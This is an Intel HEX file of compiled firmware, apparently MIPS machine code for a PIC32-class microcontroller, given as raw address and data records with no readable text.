:10164c0021100000e2c5400b000000000100022444
:10165c00e2c5400b000000001800c48f1c00c58fb1
:10166c00b61b410f000000000400401400000000f5
:10167c0021100000e2c5400b000000000100022414
:10168c00e2c5400b000000001800c48f1c00c58f81
:10169c00933d410f000000000400401400000000c6
:1016ac0021100000e2c5400b0000000001000224e4
:1016bc00e2c5400b000000001800c48f1c00c58f51
:1016cc004e28410f000000000400401400000000f0
:1016dc0021100000e2c5400b0000000001000224b4
:1016ec00e2c5400b000000001800c48f1c00c58f21
:1016fc007428410f0000000004004014000000009a
:10170c0021100000e2c5400b000000000100022483
:10171c00e2c5400b000000001800c48f1c00c58ff0
:10172c001944410f000000000400401400000000a8
:10173c0021100000e2c5400b000000000100022453
:10174c00e2c5400b000000001800c48f1c00c58fc0
:10175c009242410f00000000040040140000000001
:10176c0021100000e2c5400b000000000100022423
:10177c00e2c5400b000000002110000021e8c0036e
:10178c001400bf8f1000be8f1800bd270800e003a7
:10179c0000000000e0fdbd271c02bfaf1802beaf69
:1017ac0021f0a0032002c4af2402c5af2110c00059
:1017bc002802c2a32802c393120002242700621439
:1017cc00000000001400c227212040002402c58f15
:1017dc00cbb8400f000000001000c0af06c6400b95
:1017ec00000000001400c3271000c28f21106200fb
:1017fc0021204000200005248fbc400f0000000079
:10180c001000c28f200042241000c2af2402c48feb
:10181c007b4b410f00000000801802001000c28fab
:10182c002b104300efff4014000000002402c48f73
:10183c007b4b410f00000000801002001400c327f6
:10184c002002c48f212860002130400047b9400f8e
:10185c00000000001fc6400b000000002002c48fd7
:10186c002402c58f574a410f000000000000000001
:10187c0021e8c0031c02bf8f1802be8f2002bd27b7
:10188c000800e00300000000e0ffbd271c00bfaf14
:10189c001800beaf21f0a003211080002400c5afba
:1018ac002000c2a32000c2931000c3272120600097
:1018bc00212840004125410f000000000400401485
:1018cc00000000002110000068c6400b0000000062
:1018dc002400c28f0000428005004014000000006c
:1018ec002000c393080002241600621400000000bc
:1018fc001000c28f2120400000a0023c5c45452412
:10190c002400c68fbe51410f000000000d00401492
:10191c00000000001000c28f2120400000a0023cfb
:10192c005c4545242400c68f9255410f00000000f1
:10193c0004004014000000002110000068c6400b99
:10194c00000000002000c3932000c29300a0043cc0
:10195c005c45842421286000213040007126410f11
:10196c0000000000040040140000000021100000e2
:10197c0068c6400b000000001000c28f2120400000
:10198c0000a0023c5c454524010006241849410f87
:10199c000000000021e8c0031c00bf8f1800be8fa0
:1019ac002000bd270800e00300000000e0ffbd2779
:1019bc001c00bfaf1800beaf21f0a00321108000a7
:1019cc002400c5af2000c2a32000c2930a00032448
:1019dc006f004310000000000b004328060060104d
:1019ec0000000000080003243b004310000000002e
:1019fc002fc7400b00000000100003248800431088
:101a0c000000000012000324a90043140000000091
:101a1c002000c293212040002400c58f25c6400f12
:101a2c000000000004004014000000002110000021
:101a3c0030c7400b00000000050002241000c2afac
:101a4c00a7c6400b000000001000c38f0200022448
:101a5c000c006210000000001000c48f059d023cb9
:101a6c00703b4524010006241849410f000000007a
:101a7c0004004014000000002110000030c7400b8f
:101a8c00000000001000c28f010042241000c2af01
:101a9c001000c28f0e00422cebff4014000000001f
:101aac0002000424059d023c703b452421300000bb
:101abc001849410f00000000040040140000000011
:101acc002110000030c7400b000000000100022470
:101adc0030c7400b000000002000c29321204000c2
:101aec002400c58f25c6400f0000000004004014e0
:101afc00000000002110000030c7400b0000000067
:101b0c00040002241000c2afd5c6400b0000000038
:101b1c001000c48f059d023c703b45240100062437
:101b2c001849410f000000000400401400000000a0
:101b3c002110000030c7400b000000001000c28fc5
:101b4c00010042241000c2af1000c28f0800422cca
:101b5c00efff40140000000001000424059d023c2e
:101b6c007c3b4524010006241849410f000000006d
:101b7c0004004014000000002110000030c7400b8e
:101b8c00000000000100022430c7400b00000000e0
:101b9c002000c29321204000059d023c883b452437
:101bac0025c6400f00000000040040140000000097
:101bbc002110000030c7400b00000000010002247f
:101bcc001000c2af04c7400b000000001000c48f0f
:101bdc00059d023c703b4524010006241849410f29
:101bec000000000004004014000000002110000060
:101bfc0030c7400b000000001000c28f01004224cf
:101c0c001000c2af1000c28f0800422cefff40142e
:101c1c00000000000100022430c7400b000000004f
:101c2c002000c29321204000059d023c883b4524a6
:101c3c0025c6400f00000000040040140000000006
:101c4c002110000030c7400b0000000001000224ee
:101c5c001000c2af28c7400b000000001000c48f5a
:101c6c00059d023c703b4524010006241849410f98
:101c7c0000000000040040140000000021100000cf
:101c8c0030c7400b000000001000c28f010042243e
:101c9c001000c2af1000c28f0800422cefff40149e
:101cac00000000000100022430c7400b00000000bf
:101cbc002110000021e8c0031c00bf8f1800be8f4c
:0c1ccc002000bd270800e003000000001d
:020000040000fa
:020000041d03da
:101cd800a8ffbd275400bfaf5000beaf4c00b7af40
:101ce8004800b6af4400b5af4000b4af3c00b3af56
:101cf8003800b2af3400b1af3000b0af21908000ef
:101d08002188a0006000a6af211000002800a2af23
:101d1800218000000000248201003326e0008010aa
:101d28001600a4a325000224ea0082140200222639
:101d380021a00000ffff4880e0ff0325ff0063307b
:101d48001100642c21008010ffff5124801803002b
:101d5800039d043c701d8424211883000000638cbb
:101d680008006000000000009c20039dd41d039d16
:101d7800d41d039d9020039dd41d039dd41d039d58
:101d8800d41d039dd41d039dd41d039dd41d039d07
:101d9800d41d039d8420039dd41d039d7820039d9d
:101da800d41d039dd41d039db41d039d04009436ca
:101db80001004224ffff4880e0ff0325ff00633055
:101dc8001100642ce1ff8014ffff5124059d053ca0
:101dd800a13ca5242110a8000000429002008432f2
:101de800feff83320ba0640008008432fbff8332bd
:101df8000400423021282002bd0040100ba06400de
:101e080021a8000186c7400b21f0000021a840004e
:101e1800010031260000228240201e00c0b01e00b2
:101e2800059d073ca13ce7242118e20000006390cf
:101e380021b096002140d50204006330f3ff6014fe
:101e4800d0ff1e252e000324b0004350010022823b
:101e58000010943621980000039d073c941ee52449
:101e68001000072400800634ff0043307900642cfa
:101e78009d02801001003126801803002118a3005c
:101e88000000638c0800600000000000a820039d8b
:101e9800f028039df028039df028039df028039d5a
:101ea800f028039df028039df028039df028039d4a
:101eb800f028039df028039df028039df028039d3a
:101ec800f028039df028039df028039df028039d2a
:101ed800f028039df028039df028039df028039d1a
:101ee800f028039df028039df028039df028039d0a
:101ef800f028039df028039df028039df028039dfa
:101f0800f028039df028039df028039df028039de9
:101f1800f028039df028039df028039df028039dd9
:101f2800f028039df028039df028039df028039dc9
:101f3800f028039df028039df028039df028039db9
:101f4800f028039df028039df028039df028039da9
:101f5800f028039df028039df028039df028039d99
:101f6800f028039df028039df028039df028039d89
:101f7800f028039df028039df028039df028039d79
:101f8800f028039df028039df028039df028039d69
:101f9800f028039df028039df028039df028039d59
:101fa8001429039df028039d0029039df028039d13
:101fb800f028039df028039df028039df028039d39
:101fc800f028039df028039df028039df028039d29
:101fd800f028039df028039df028039df028039d19
:101fe800f028039df028039df028039da028039d59
:101ff800f028039df028039df028039df028039df9
:10200800f028039df028039df028039df028039de8
:10201800f028039df028039d4828039d4028039d30
:102028003028039dbc28039dac28039df028039d00
:102038004028039df028039df028039dcc28039d8c
:10204800f028039df028039d2028039da028039dc8
:10205800f028039df028039d2827039df028039d61
:10206800b825039df028039df028039d9c21039d1e
:10207800080094366fc7400b0100422402009436d2
:102088006fc7400b01004224000894366fc7400b0d
:1020980001004224010094366fc7400b010042241e
:1020a800211000025400bf8f5000be8f4c00b78f24
:1020b8004800b68f4400b58f4000b48f3c00b38f02
:1020c8003800b28f3400b18f3000b08f0800e003c1
:1020d8005800bd277f4c410f21284002ffff0324f1
:1020e8000cff43102188600247c7400b01001026ef
:1020f8002a0002241f0002112e00032421100001cf
:1021080053ff431421f00000010022822a00032417
:102118001305431000409436059d043ca13c8424db
:10212800211882000000639001003126040063300a
:1021380049ff60102198000040181300c098130050
:102148000100312621987300219862020000228242
:10215800059d043ca13c8424211882000000639062
:1021680004006330f4ff6014d0ff732699c7400b56
:10217800039d073c6000a28f00005e8c01003126a1
:102188000100a2806000a38f0400632493c7400b62
:102198006000a3af780002241600a2a38000943642
:1021a8000007823209014010c000823200108432d8
:1021b8001000823206000324170340100b986400b5
:1021c8006000a28f07004324f8ff02242410620055
:1021d8000000448c0400458c080042242448410f28
:1021e8006000a2af21a840002120a002bb53410fec
:1021f80021280000120340040080023c2120a00294
:1022080021280000bb53410f1000a0af1503401454
:102218002120a0021c00a0af00018232ff0140145f
:1022280000028232f80140141c00a38f1900622ab0
:1022380052054014000000001c00a48f0a008228e8
:102248000f004010059d023c2120a002bb53410f06
:10225800212800003c0540102120a0021b55410ff9
:10226800000000003b05401421b840001c00a58f69
:102278000200a3283705601400000000059d023cf9
:102288007044458cbb53410f2800a48f12054104ac
:102298001c00a28f1c00a78fedfff6241000b6af1c
:1022a8009d47410f2024167c2800a2af2120a002c0
:1022b8008746410f212840001b55410f212040002f
:1022c80021b8400021a84000211800001800a3af41
:1022d8000a00e22e64054014059d033ca0436324d4
:1022e800020005240200062414000a240400678c56
:1022f8000c00e0541600a6a30000628c2b10e2022a
:10230800080040541600a6a30100a6242128c000f6
:102318002034067cf5ffaa14080063241600a6a33f
:10232800140005240008973221286502fffff732c0
:1023380021b0b6002510770223b0d6032b10020077
:102348000300833223b0c2022b1803000400823238
:10235800a904401023b0c30202008232f6044010e0
:1023680001008232010084322d0002242b00032454
:102378000a106400212040007f4c410f21284002b0
:10238800271002002b100200218002020a00c05a06
:1023980008009432300004247f4c410f2128400269
:1023a800271002002b100200ffffd626f9ffc016e7
:1023b800218002020800943206c9400bffff9e32ba
:1023c800c0180300059d043c904384242118830011
:1023d8000000668c0400678c2120a002d833410fce
:1023e8002128000021204000212860000a0006243e
:1023f800bf32410f21380000300044247f4c410f88
:1024080021284002271002002b100200218002021e
:102418001600a283ffff4324201c037ce8ff40141e
:102428001600a3a31000a28f0c0040181300622a04
:10243800300004247f4c410f21284002271002005d
:102448002b1802001000a28fffff422421800302f4
:10245800f7ff401c1000a2af1300622ad2044014f8
:102468002014137c120002241600a2a3eeff732688
:102478002e0004247f4c410f21284002ffff032433
:10248800020043101600b483010010269d47410f37
:102498002120800221204000a948410f1800a58f63
:1024a8001b55410f2120400021a84000ffff862630
:1024b8002034067c21b80000250080121600a6a34f
:1024c800c0300600059d053c9043a5242130a60098
:1024d8000400c78c0000c68c2120a002d833410f0d
:1024e8002128e00221204000212860000a0006245b
:1024f800bf32410f21380000300044247f4c410f87
:10250800212840021600b483271002002b10020075
:10251800c0181400059d073c9043e7242118e300e8
:102528000000668c0400678c2120a0022128e002ac
:10253800bf32410f21800202ffff86262034067c2d
:1025480021a8400021b86000ddff80161600a6a370
:102558000900601200000000300004247f4c410f85
:1025680021284002271002002b100200ffff7326cb
:10257800f9ff601621800202e7fdc05300002482a3
:10258800e5fdc05a00002482200004247f4c410f3e
:1025980021284002271002002b100200ffffd62638
:1025a800f9ffc0162180020248c7400b00002482b0
:1025b800750002241600a2a3c000943600078232d8
:1025c800fbfe401400108432c0008232080240141e
:1025d8002016147c280440046000a28f1000823268
:1025e800f30340106000a48f6000a38f0000628c8a
:1025f800040063246000a3afc31f020021a84000a9
:1026080021b86000212060000600810423480200f0
:102618002b100900231803000300943621a8200179
:1026280023b8620003006016c00084322598b70200
:102638000100732e40000224b20382101800a4afd8
:102648004100822cbb004014800002241800a58f92
:102658007e03a21001000224c0000224b800a214c4
:102668001600b683010002248d04e0121600a2a30e
:10267800059d033ca04363240300022402001624a2
:10268800150006240400648c2b28e4020900a054d9
:102698001600b6a3030497500000648c010044247c
:1026a80020b4027cff008230f6ff46140800632441
:1026b8001600b6a32a10d302a500405420b4137cf8
:1026c8002a1076020b98c2020500c013004082321d
:1026d800030082322b10020023f0c2030040823232
:1026e8009e004010c40883322a107e029a0040548b
:1026f80023f0d303c4088332400802249a006214ea
:1027080021f000002a10de02a200401404008232e8
:102718006d0440100800823269ca400b21b00000e5
:10272800730002241600a2a36000a58f0000a48ce9
:102738000400a5244504801021a8800000008280a0
:10274800460440100100822423b8440001004224ba
:10275800ffff4380fdff605423b844006000a5af2d
:1027680003006012080094322b1077020bb8620243
:102778002b10fe022340d703ffff943221b0000044
:102788000bb002010c0080162198c0020a006052aa
:10279800ffff1624200004247f4c410f212840020b
:1027a800271002002b100200ffff7326f9ff6016a6
:1027b80021800202ffff1624fffff726ffff1324e4
:1027c8000a00f312000000000000a4822128400241
:1027d8007f4c410f0100b526271002002b10020084
:1027e800fffff726f8fff3162180020249fd801249
:1027f80021a8c00247fda012200004247f4c410fed
:1028080021284002271002002b100200218002021a
:10281800ffc9400bffffb5266f0002241600a2a3d4
:102828006ac8400b40009436650002241600a2a333
:102838006ac8400b000194366ac8400b1600a2a370
:102848006000a78f0000e38c100086320400e524a6
:10285800c32703000026040002120300251082008b
:102868002024027c2e00c0101600a4a301004224dc
:10287800ff0042300200422c2a0040541400a3a357
:102888001400a4a31500a3a3020017241400b5275d
:10289800dac9400b6000a5af1600a2a369c8400bb7
:1028a80020009436670002241600a2a36ac8400bd1
:1028b80000029436660002241600a2a36ac8400be0
:1028c80000049436100082322118c0000a18e20071
:1028d80025a0740000002282ff0043307900642c98
:1028e80065fd8014010031261600a2a31600b52745
:1028f800dac9400b01001724470002241600a2a3de
:10290800200094366ac8400b000294364500022421
:102918001600a2a3200094366ac8400b0001943622
:102928001400a3a3010017241400b527dac9400b2b
:102938006000a5af4cff8010010002241600b6838a
:102948002a10d3025fff40102a10760220b4137cad
:10295800b4c9400b1600b6a3c40883324008022449
:10296800740262102b101e00c008833280080224f3
:1029780065ff62142a10de020300c22bfeffc8277f
:1029880021f000000af002012a10de0260ff401068
:10299800040082325901401023b0d603020082326b
:1029a800c002401001008232010084322d0002244e
:1029b8002b0003240a106400212040007f4c410fa3
:1029c80021284002271002002b1002002180020259
:1029d8000a00c01208008232300004247f4c410fe4
:1029e80021284002271002002b100200ffffd626e4
:1029f800f9ffc0162180020208008232ffff423030
:102a0800dacb400b2400a2affcff6228030040147d
:102a18002a107300490240541c00a38fc50160129c
:102a2800211000004002827e239862021300622e69
:102a3800a2034014120002241600a2a32120a0021f
:102a4800bb53410f21280000c00140141600b68373
:102a58001b55410f2120a0021800a2af059d173c6d
:102a68009043f726000a833200020224f70162101d
:102a78001500632a2340d303bb006016fbff15250e
:102a880000088232b9004054ffffb52603008332a4
:102a98002b18030004008232b900401023a8a302b7
:102aa80002008232cc0240100100823201008432de
:102ab8002d0002242b0003240a106400212040006a
:102ac8007f4c410f21284002271002002b100200e2
:102ad800218002020a00a01a080082323000042471
:102ae8007f4c410f21284002271002002b100200c2
:102af800ffffb526f9ffa0162180020208008232e6
:102b0800ffff42301c00a2af1600a2831800a48f5a
:102b180021280000c01002002110e2020000468cab
:102b2800d833410f0400478c300044247f4c410fb8
:102b3800212840021600a383271002002b10020050
:102b4800c01803002118e3020000668c0400678c9b
:102b58001800a48f21280000bf32410f21800202f3
:102b680021f040000400601621b0600000088232a5
:102b78003f004050200094322e0004247f4c410f27
:102b8800212840021600a3832000a3af27100200cb
:102b98002b100200ffff64242024047c2180020201
:102ba800260060101600a4a300028232ffff423004
:102bb8001800a2af1800a58f0300a0102510d60397
:102bc8002a0040501600a0a3c02004002120e402df
:102bd8000000868c0400878c2120c003d833410f65
:102be8002128c002300044247f4c410f2128400294
:102bf8001600a883271002002b100200c018080036
:102c08002118e3020000668c0400678c2120c003b1
:102c18002128c00221800202bf32410f2c00a8af38
:102c28002c00a88fffff04252024047c21f04000fd
:102c380021b06000dfff00151600a4a32000a78fb5
:102c4800239867020a00605220009432300004245e
:102c58007f4c410f21284002271002002b10020050
:102c6800ffff7326f9ff60162180020220009432cc
:102c78000200801645000424650004247f4c410f9f
:102c880021284002271002002b1002002180020296
:102c98001000a28f39024004231002002b000424e4
:102ca8007f4c410f21284002271002002b10020000
:102cb800218002021000a28f6666133c67667326a5
:102cc8001800530010200000c317020021284002fa
:102cd80083200400232082007f4c410f300084248d
:102ce8001000a38f271002002b3002001800730079
:102cf80010100000c327030021284002218006028b
:102d0800831002002310440040200200c01002007b
:102d180021108200232062007f4c410f3000842460
:102d2800271002002b100200218002021c00a28f33
:102d3800f9fb405000002482f7fba05a00002482cf
:102d4800200004247f4c410f212840022710020054
:102d58002b100200ffffb526f9ffa0162180020202
:102d680048c7400b00002482ffffb52603008332ca
:102d78002b1803000400823249ff401423a8a30241
:102d880008008232ffff42300b0040141c00a2af43
:102d98000a00a01a02008232200004247f4c410f4e
:102da80021284002271002002b100200ffffb52641
:102db800f9ffa01621800202020082320a024010a6
:102dc80001008232010084322d0002242b000324ea
:102dd8000a106400212040007f4c410f2128400246
:102de800271002002b100200c4ca400b21800202e7
:102df8001802400410008232e80140106000a38fde
:102e08006000a28f0000558c21b800000400422405
:102e18008bc9400b6000a2af6000a38f0000758cc7
:102e2800040063246000a3af2120a002bb53410f1c
:102e380021280000f2fc41042120a0020080023c6d
:102e480026a85500030094362120a002212800005e
:102e5800bb53410f1000a0afeffc40501c00a0afc7
:102e68002120a0029a54410f1000a5271000a28f1c
:102e7800ffff422440180200211062006666163cdb
:102e88006766d6261800560010b00000c317020067
:102e980083b0160023b0c2020100c206ffffd62687
:102ea8001000b6af232016009d47410f2024047c54
:102eb80021204000a948410f2128a0022800a2afe4
:102ec800059d023c6444458cbb53410f2800a48fe8
:102ed8003d024004059d023c6844448cbb53410fad
:102ee8002800a58fccfc405c1c00b6af0100d6269c
:102ef8001000b6af88c8400b1c00b6af080082327d
:102f0800ffff42300300c0122400a2af5a00401055
:102f1800200004240200823276014010010082322f
:102f2800010084322d0002242b0003240a106400bf
:102f3800212040007f4c410f212840022710020029
:102f48002b10020021800202c008823240080324ac
:102f5800230243108008032428024310300004246d
:102f6800ffff6426c018040040400400200082329d
:102f7800059d073c9043e72421a0e30021f00401cc
:102f8800401817001c00a3afffff42302000a2af7b
:102f9800fdff02241800c213809804004000022498
:102fa8001800a48f450082104100822c2100401493
:102fb800800002241800a58f4c00a21027181300c7
:102fc800c00002241e00a2500000868e1600a483b2
:102fd8007f4c410f21284002271002002b100200cd
:102fe80021800202f8ff9426fdffde27fdff022460
:102ff800eaffc217fcff73262400a28f46fb40504d
:103008000000248244fbc05a0000248220000424cb
:103018007f4c410f21284002271002002b1002008c
:10302800ffffd626f9ffc0162180020248c7400bd1
:1030380000002482e6ff80541600a4830000868ed8
:103048000400878e2120a002d833410f2128e002f6
:1030580021204000212860000a000624bf32410fc9
:1030680021380000300042242024027cf6cb400b9b
:103078001600a4a3200004247f4c410f21284002fd
:10308800271002002b100200ffffd626a1ffc01256
:1030980021800202200004247f4c410f2128400295
:1030a800271002002b100200ffffd626f1ffc016e2
:1030b80021800202c8cb400b0200823227101e007a
:1030c8001c00a78f041047000620d5032000c33337
:1030d800252044000610d7030b2043000700843046
:1030e80030008424f6cb400b1600a4a31c00a78f45
:1030f8000418670006107502200066322510620069
:1031080006287702059d043c38448324059d073c26
:103118004c44e4240b10a6002000a58f0a18850053
:103128000f0042302118620000006480f6cb400b8b
:103138001600a4a31600a2a32120a002bb53410f8e
:103148002128000042fe40101600b683059d173c5a
:103158001c00a58f2320b6009d47410f2024047c26
:103168002120a0028746410f2128400021a84000c5
:103178001b55410f21204000212040002b57410fb3
:103188002c00a2af2120a0024d45410f212840006c
:103198006044e48ebb53410f212840000c01401cc1
:1031a8002c00a38f6044e58e4f45410f2120a002db
:1031b80021a840001b55410f212040000100c426d2
:1031c800c0200400059d073c9043e7242120e4002b
:1031d8000400858c1800a2af0500a01421b8e000f7
:1031e8000000848c2b20440047008050059d023c41
:1031f800c0181600059d043c9043842421188300c0
:103208000400648c370180500000638c059d023ceb
:103218006844458ca948410f2120a00221a84000fc
:103228001c00a58fffffa2242120a0021b55410fdf
:103238001000a2af1800a2af000a833200020224d5
:103248000dfe62142340d3031500632a14000224e0
:103258001800a78f1d00e0100a9843002120e00005
:10326800212800000a000624bf32410f213800003f
:1032780025104300150040141800aa8fabcc400b52
:1032880021b00000212040000a0006242138000057
:10329800bf32410f2c00a2af251043000b00401491
:1032a8002c00aa8f212040012128c0020a000624f0
:1032b800d833410f21380000212860002520620002
:1032c800ffff7326efff801421b060001600a28371
:1032d8002a186202e8fd60102340d303232053001c
:1032e8009d47410f2024047c212840002120a00272
:1032f8008746410f1600b3a31b55410f21204000fc
:103308009fca400b1800a2af6c44458ca948410fd6
:103318002120a00221a840001c00a38f01006224e4
:103328002120a0021b55410f1000a2af9bca400be1
:103338001800a2afc3c9400b23f0c2033e016004ca
:10334800271003001b55410f2120a00221b0400087
:103358005801c012059d033c9843632401000524cd
:10336800140007240400668c0a00c05423986502e0
:103378000000628c2b10c20206004054239865029c
:103388000100a524f7ffa7140800632414000524ee
:10339800239865021900622ad70040100000000037
:1033a800ee49410fff0064322120a0024f45410f32
:1033b8002128400021a840009d47410f2024137c6c
:1033c80021b840002b57410f2120c0022120a00224
:1033d8004d45410f2128400021204000a948410fb8
:1033e8002128e0021b55410f2120400021b0400058
:1033f80091fb601221b800002120c0020dcd400bc6
:10340800212800002128e0020a000624d833410fb1
:103418002138000021286000ffff732621b04000fa
:1034280085fb601221b86000212040000a000624b4
:10343800bf32410f2138000025104300f1ff4050f2
:103448002120c00291c8400b1c00a48f0f01e0127c
:103458001600a2a30300032402001624000104247a
:103468002110000011000a242b28e20291fca0542c
:103478001600b6a3900057102b28a4020100672459
:10348800023704000029020020b4037cff00e33067
:103498002510c500f4ff6a1400210400afc9400bd1
:1034a8001600b6a3cc004014c0088332800802245a
:1034b80047fd6214300004247f4c410f212840024c
:1034c80027100200200085322b1002005800032428
:1034d800780004240b206500212840027f4c410f0e
:1034e80021800202271002002b10020076ca400b2e
:1034f8002180020295fe4010c0088232cfcb400bdb
:103508002000042401000224db00e0121600a2a31c
:1035180003000324020016244000042421100000a4
:1035280016000a242b28e20262fca0541600b6a357
:10353800650057102b28a4020100672442370400b5
:10354800c028020020b4037cff00e3302510c5002a
:10355800f4ff6a14c0200400afc9400b1600b6a3dc
:103568006000a58f0000b38c020022820400a5240d
:103578006000a5af98c7400b020031262d00042437
:10358800212840027f4c410f1000a2af27100200f3
:103598002b1002002fcb400b218002020000758cfb
:1035a80021b80000040063248bc9400b6000a3af5e
:1035b8000000828c040084246000a4afc31f0200b2
:1035c80021a8400021b8600084c9400b2120600078
:1035d80071cc400b211060003efd401020000424f7
:1035e800b2ca400b0000000048fd40101600a2833c
:1035f80078cb400b2000042408008232ffff5e30a5
:103608000c00c017020082320a00c01a0000000035
:10361800200004247f4c410f21284002271002007b
:103628002b100200ffffd626f9ffc01621800202e8
:103638000200823258004050010094320100843266
:103648002b0002242d0003240b10640001c9400b39
:10365800212040006000a58f0700a324f8ff022462
:1036680024106200080047246000a7af0000558cb2
:103678008bc9400b0400578c07004324f8ff022431
:10368800241862000400648c0000628c0800632423
:103698006000a3af2118800021a8400084c9400b16
:1036a80021b880002b20a402fdfb801001004424d7
:1036b800afc9400b1600b6a371ffa0100100672424
:1036c800afc9400b1600b6a39cffa01001006724e9
:1036d800afc9400b1600b6a3eeff5624aac8400b8c
:1036e8001000b6af2b104300dffc4010000a8332f5
:1036f80086cc400b059d023c9d47410f2024137c3e
:1037080021b840002b57410f2120c0022120a002e0
:103718004d45410f2128400021204000a948410f74
:103728002128e0021b55410f2120400021b0400014
:1037380000cd400b21b8000014fb401020000424e9
:10374800e0c8400b000000001b55410f00000000be
:1037580021b840002b57410f212040002120a00212
:103768004d45410f212840001800a2af21a8e002d2
:103778001000a0afb6c8400b21b00000ee49410fc1
:10378800ff0064322120a0024f45410f212840004c
:1037980090c8400b21a840001dfb80122000042483
:1037a80001c9400b000000001600a2a330fb401422
:1037b800239862022ffbe0162e000424ffff022448
:1037c80056c9400b1600a2a3ffffd6261000b6afbd
:1037d80088c8400b1c00b6af71ca400b20000424f7
:1037e800300004247f4c410f21284002271002009a
:1037f8002b100200dacb400b218002027f4c410fd4
:103808002128400227100200200085322b100200d8
:1038180058000324780004240b2065002128400266
:103828007f4c410f21800202271002002b1002005a
:10383800dacb400b218002022120a0021b55410f48
:1038480021986202d6cc400b21b04000059d093c6e
:1038580030443525d1c9400b2120a0026000a5af16
:10386800dac9400b21b80000010002241600a2a307
:10387800cbc8400b010005240800a22e25ff4010ec
:103888000300032452ca400b010016241000a22e84
:10389800f1fe40100300032452ca400b0100162415
:1038a8000a00a22e73fb4010059d033c52ca400b30
:1038b80001001624e6cc400b212800002014137cbc
:1038c80050cc400b1600a2a3ffff42302400a2af49
:0838d800c7cb400b21b000003a
:020000040000fa
:020000041d03da
:1038e000c0ffbd273c00bfaf3800beaf21f0a00332
:1038f0004000c4af4400c5af2118c0004c00c7afa2
:103900005400c28f4800c3a33000c2a34800c29332
:1039100000a0033cdc5663249c00688c00a0033ca0
:10392000dc566324e000638c3000042423388300d9
:1039300000a0033cdc566324e400668c00a0033c3a
:10394000dc566324e800658c00a0033cdc5663244d
:10395000e000648c00a0033cdc566324f400638c1c
:10396000040009241000a9af1400a8af1800a7afe5
:103970001c00a0af2000a6af2400a5af2800a4af74
:103980002c00a3af4400c48f212840004c00c68ff8
:1039900001000724023c410f000000000400401415
:1039a0000000000021100000c5ce400b0000000008
:1039b0003000c29304004014000000000100022403
:1039c000c5ce400b0000000001000424e30d410fb0
:1039d0000000000084ce400b000000002120000009
:1039e000e30d410f000000002118400000a0023c40
:1039f000dc5642248c00428c2b1043000400401003
:103a00000000000021100000c5ce400b00000000a7
:103a100088bf023cd060428c00014230efff40146e
:103a20000000000002000224408282a300a0023ca9
:103a3000dc5642249c00448c00a0023cdc5642240c
:103a4000a400458c3000c3935000c28f0600401084
:103a50000000000000a0023cdc564224bc00429062
:103a60009bce400b000000002110000000a0063c8f
:103a7000dc56c6248c00c68c00a0073c9957e7246e
:103a80001000a7af1400a2af1800a6af01000224d7
:103a90001c00a2af010002242000a2af4000c68f8c
:103aa000213860008dff400f000000002118400009
:103ab0003000c293160062140000000000a0023c17
:103ac000dc5642249c00438c00a0023cdc5642247d
:103ad000f800428c18006200122000003400c4afcd
:103ae000eb51023c1f8542343400c38f1900620041
:103af000101000004211020021204000240e410f4e
:103b00000000000001000224c5ce400b00000000b0
:103b10002110000021e8c0033c00bf8f3800be8f99
:103b20004000bd270800e00300000000c0ffbd27e3
:103b30003c00bfaf3800beaf21f0a0034000c4afcf
:103b4000c40c410f0000000000a0023cdc564224df
:103b50009c00438c00a0023cdc564224ec00428cca
:103b600018006200122000003000c4afeb51023c8c
:103b70001f8542343000c38f19006200101000000e
:103b80004211020021204000240e410f00000000dd
:103b9000010002241000a2af400002241400a2afd2
:103ba0001800c22721204000059d023c38fd452415
:103bb000020006242138000038ce400f000000002b
:103bc00009004010000000004000c48f1800c22708
:103bd00021284000574a410f000000000100022444
:103be000fbce400b000000002110000021e8c003c4
:103bf0003c00bf8f3800be8f4000bd270800e003a7
:103c000000000000e8ffbd271400bfaf1000beafea
:103c100021f0a0031800c4af1c00c5af1800c48f6a
:103c20001c00c58f73db400f0000000021e8c003bb
:103c30001400bf8f1000be8f1800bd270800e003de
:103c400000000000b0ffbd274c00bfaf4800beaf72
:103c500021f0a0035000c4af2110a0005400c2a363
:103c60001900c0a35400c2930800422c0400401461
:103c700000000000211000006ecf400b000000008b
:103c80001c00c22721204000212800002700062414
:103c90007152410f000000001c00c227212040008b
:103ca000059d023c3cfd452402000624214b410faa
:103cb000000000009880828f140040100000000077
:103cc0001c00c227020042242120400000a0023c28
:103cd000f06a45242ab9400f000000003000022499
:103ce0003e00c2a35400c2931c00c32723006324d8
:103cf000212060002128400003000624c6b6400fa2
:103d0000000000004dcf400b0000000030000224f6
:103d10001e00c2a35400c2931c00c32703006324e7
:103d2000212060002128400003000624c6b6400f71
:103d30000000000000a0023cdc564224d400428c6b
:103d40001800c2a368cf400b000000001c00c2276f
:103d5000212040007b4b410f00000000ff0042305b
:103d6000211840001900c2931c00c5271000a0af05
:103d7000200004241400a4af5000c48f2130600040
:103d80002138400038ce400f0000000004004010f1
:103d900000000000010002246ecf400b0000000074
:103da0001800c293ffff43241800c3a3e7ff401489
:103db000000000002110000021e8c0034c00bf8f6c
:103dc0004800be8f5000bd270800e003000000003f
:103dd00088ffbd277400bfaf7000beaf21f0a00305
:103de000211080007c00c5af8000c6af8400c7af43
:103df0007800c2a37800c2930800422c040040144b
:103e0000000000002110000005d0400b0000000061
:103e10001c00c22721204000212800004700062462
:103e20007152410f000000001c00c22721204000f9
:103e3000059d023c3cfd452402000624214b410f18
:103e400000000000020002241800c2a39880828fa4
:103e50000c004010000000001800c2931c00c32793
:103e6000211062002120400000a0023cf06a45249d
:103e70002ab9400f000000001800c293200042241d
:103e80001800c2a31800c2931c00c32721106200af
:103e9000212040008000c58f01000624c6b6400fd7
:103ea000000000001800c293010042241800c2a3c1
:103eb0001800c2931c00c32721106200212040007b
:103ec0007c00c58f2ab9400f000000001800c29383
:103ed000200042241800c2a31800c2931c00c3276c
:103ee000211862007800c293212060002128400040
:103ef00003000624c6b6400f000000001800c2935d
:103f0000030042241800c2a31c00c2272120400045
:103f10007b4b410f00000000ff0042301c00c32714
:103f20001000a0af1400a0af2120000021286000e5
:103f3000213040002138000038ce400f0000000042
:103f400004004014000000002110000005d0400bc8
:103f50000000000000a0023cdc564224f400428c29
:103f6000e803432400a0023cdc5642249c00428c1f
:103f700018006200122000006800c4afeb51023c40
:103f80001f8542346800c38f1900620010100000c2
:103f90004211020021204000240e410f00000000c9
:103fa0008400c28f040040140000000001000224bd
:103fb00005d0400b000000007800c2931c00c3270e
:103fc000212060002128400011cf400f0000000098
:103fd00004004014000000002110000005d0400b38
:103fe000000000001c00c227212040007c00c58f7b
:103ff000080006240954410f00000000040040108e
:10400000000000002110000005d0400b000000005f
